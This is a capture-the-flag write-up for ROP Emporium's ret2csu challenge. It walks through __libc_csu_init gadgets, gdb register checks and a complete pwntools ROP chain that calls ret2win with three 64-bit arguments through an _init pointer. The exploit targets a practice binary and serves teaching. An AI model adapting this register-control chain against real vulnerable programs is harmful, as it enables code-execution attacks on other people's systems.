8. ret2csu
the final challenge of ROP Emporium, the challenge is similar to callme
which requires us to call a ret2win
function with an arguments of
ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
but this time there's a limited gadgets for us to work with.
so what's ret2csu exactly?
ret2csu is a technique that allows us to control registers when gadgets are lacking in the binary more information can be found in this paper
in this paticular case, the binary imported libc so there's a function called
__libc_csu_init
which is very important for us to uses to control registers.
gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000400640 <+0>: push r15
0x0000000000400642 <+2>: push r14
0x0000000000400644 <+4>: mov r15,rdx
0x0000000000400647 <+7>: push r13
0x0000000000400649 <+9>: push r12
0x000000000040064b <+11>: lea r12,[rip+0x20079e] # 0x600df0
0x0000000000400652 <+18>: push rbp
0x0000000000400653 <+19>: lea rbp,[rip+0x20079e] # 0x600df8
0x000000000040065a <+26>: push rbx
0x000000000040065b <+27>: mov r13d,edi
0x000000000040065e <+30>: mov r14,rsi
0x0000000000400661 <+33>: sub rbp,r12
0x0000000000400664 <+36>: sub rsp,0x8
0x0000000000400668 <+40>: sar rbp,0x3
0x000000000040066c <+44>: call 0x4004d0 <_init>
0x0000000000400671 <+49>: test rbp,rbp
0x0000000000400674 <+52>: je 0x400696 <__libc_csu_init+86>
0x0000000000400676 <+54>: xor ebx,ebx
0x0000000000400678 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
this is the full disassembly of __libc_csu_init
, you might see something that
represent gadgets here from the line <+90>
to <+100>
and <+64>
to <+73>
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
these's might not look like gadgets at first, but we can actually control 3 of
the registers for calling a function which are edi
, rsi
and rdx
.
there're also pop
instructions floating around in the binary for rdi
and rsi
but i decided to just use the instructions from __libc_csu_init
to do the job.
note that call QWORD PTR [r12+rbx*8]
is not call r12+rbx*8
, this instruction
calculate for the address of r12+rbx*8
and then reference it, get the address
from memory and then call that address.
let's try to use these to manipulate registers and call ret2win
.
from pwn import *
p = process("./ret2csu")
gdb.attach(p, """break ret2win""")
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680
ret2win = 0x400510
ret2win_got = 0x601020
arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d
padding = b"x" * 40
payload = flat([
padding,
pop,
0,
0,
ret2win_got,
arg_1,
arg_2,
arg_3,
mov,
],word_size=64)
p.sendline(payload)
p.interactive()
let's try it.
→ 0x7f2a9ae009d7 <ret2win+4> sub rsp, 0x30
0x7f2a9ae009db <ret2win+8> mov QWORD PTR [rbp-0x18], rdi
0x7f2a9ae009df <ret2win+12> mov QWORD PTR [rbp-0x20], rsi
0x7f2a9ae009e3 <ret2win+16> mov QWORD PTR [rbp-0x28], rdx
0x7f2a9ae009e7 <ret2win+20> mov QWORD PTR [rbp-0x10], 0x0
0x7f2a9ae009ef <ret2win+28> movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7f2a9ae009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f2a9ae009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rdi rsi rdx
rdi 0xdeadbeef 0xdeadbeef
rsi 0xcafebabecafebabe 0xcafebabecafebabe
rdx 0xd00df00dd00df00d 0xd00df00dd00df00d
looking at the debugger our rdi is not correct yet but other registers are.
what can we do here? maybe we can try to pop rdi
to 0xdeadbeefdeadbeef
first
and then calling the gadgets from csu
later on so let's try that.
from this paper we can do
pop rdi
directly by offsetting the pop
gadgets from __libc_csu_init
and
here's the new payload.
payload = flat([
padding,
pop + 0x9,
arg_1,
pop,
0,
0,
ret2win_got,
arg_1,
arg_2,
arg_3,
mov,
],word_size=64)
let's try it.
→ 0x7fe2490009d7 <ret2win+4> sub rsp, 0x30
0x7fe2490009db <ret2win+8> mov QWORD PTR [rbp-0x18], rdi
0x7fe2490009df <ret2win+12> mov QWORD PTR [rbp-0x20], rsi
0x7fe2490009e3 <ret2win+16> mov QWORD PTR [rbp-0x28], rdx
0x7fe2490009e7 <ret2win+20> mov QWORD PTR [rbp-0x10], 0x0
0x7fe2490009ef <ret2win+28> movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7fe2490009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fe2490009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rdi rsi rdx
rdi 0xdeadbeef 0xdeadbeef
rsi 0xcafebabecafebabe 0xcafebabecafebabe
rdx 0xd00df00dd00df00d 0xd00df00dd00df00d
so that doesn't work, hmm... what can we do now? i stuck here for a while then
i came up with the idea of what if, i can somehow bypass the call
instruction
and go right to ret
so then we can chain more registers to do stuff like pop rdi
for example.
after researching for a while i found this book
from hacktricks, looking at it i found that it mentions initPtr
and i took a
dive to see what this is, i assumed that it's the function _init
that lives in
the binary.
gef➤ disas _init
Dump of assembler code for function _init:
0x00000000004004d0 <+0>: sub rsp,0x8
0x00000000004004d4 <+4>: mov rax,QWORD PTR [rip+0x200b1d] # 0x600ff8
0x00000000004004db <+11>: test rax,rax
0x00000000004004de <+14>: je 0x4004e2 <_init+18>
0x00000000004004e0 <+16>: call rax
0x00000000004004e2 <+18>: add rsp,0x8
0x00000000004004e6 <+22>: ret
hmm, it's a relatively small function so maybe we can probably use this to bypass
the call function and get to execute instructions after the call
instruction and
landing at ret
instruction, after that we can do pop rdi
and then call ret2win
function.
but hold on, how do we find where 0x4004d0
live with in the binary? we can use
&_DYNAMIC
section to find the location of 0x4004d0
using gdb
gef➤ x/10xg &_DYNAMIC
0x600e00: 0x0000000000000001 0x0000000000000001
0x600e10: 0x0000000000000001 0x0000000000000038
0x600e20: 0x000000000000001d 0x0000000000000078
0x600e30: 0x000000000000000c 0x00000000004004d0
0x600e40: 0x000000000000000d 0x00000000004006b4
gef➤ x/xg 0x600e38
0x600e38: 0x00000000004004d0
so 0x600e38
it is.
there's something to consider before writing our script, let's look into __libc_csu_init
one more time.
-----
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
after call
instruction there's some conditions to be met to reach ret
instruction,
we have to make rbp
equal to rbx
otherwise it will jump back to mov
and
call again after that we just have to add junks to fill for pop instructions,
we also have to account for add rsp,0x8
with some junks too.
let's craft the final expliot
from pwn import *
p = process("./ret2csu")
gdb.attach(p, """break ret2win""")
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680
ret2win = 0x400510
init_ptr = 0x600e38
arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d
padding = b"x" * 40
payload = flat([
padding,
pop,
0, # rbx
1, # add one so that rbp is equal to rbx after add rbx,0x1
init_ptr,
0,
arg_2,
arg_3,
mov,
0, # add rsp,0x8 padding
0,
0,
0,
0,
0,
0,
pop + 0x9,
arg_1,
ret2win,
],word_size=64)
p.sendline(payload)
p.interactive()
let's run it!
$ python solve.py
[+] Starting local process './ret2csu': pid 2083
[*] running in new terminal: ['/usr/bin/gdb', '-q', './ret2csu', '2083', '-x', '/tmp/pwnb34fq9vj.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2csu by ROP Emporium
x86_64
Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2csu' stopped with exit code 0 (pid 2083)
[*] Got EOF while reading in interactive
andddddddd it's done! nicesu nicesu!
we can also use _fini
too since it's basically doing nothing
gef➤ disas _fini
Dump of assembler code for function _fini:
0x00000000004006b4 <+0>: sub rsp,0x8
0x00000000004006b8 <+4>: add rsp,0x8
0x00000000004006bc <+8>: ret
either way is fine, we since we pwned it anyway haha.
alright!, we pwned all of ROP Emporium challenges, if you stick around until this point, thank you so much, i hope you had fun doing these challenges, like i did. see you next time!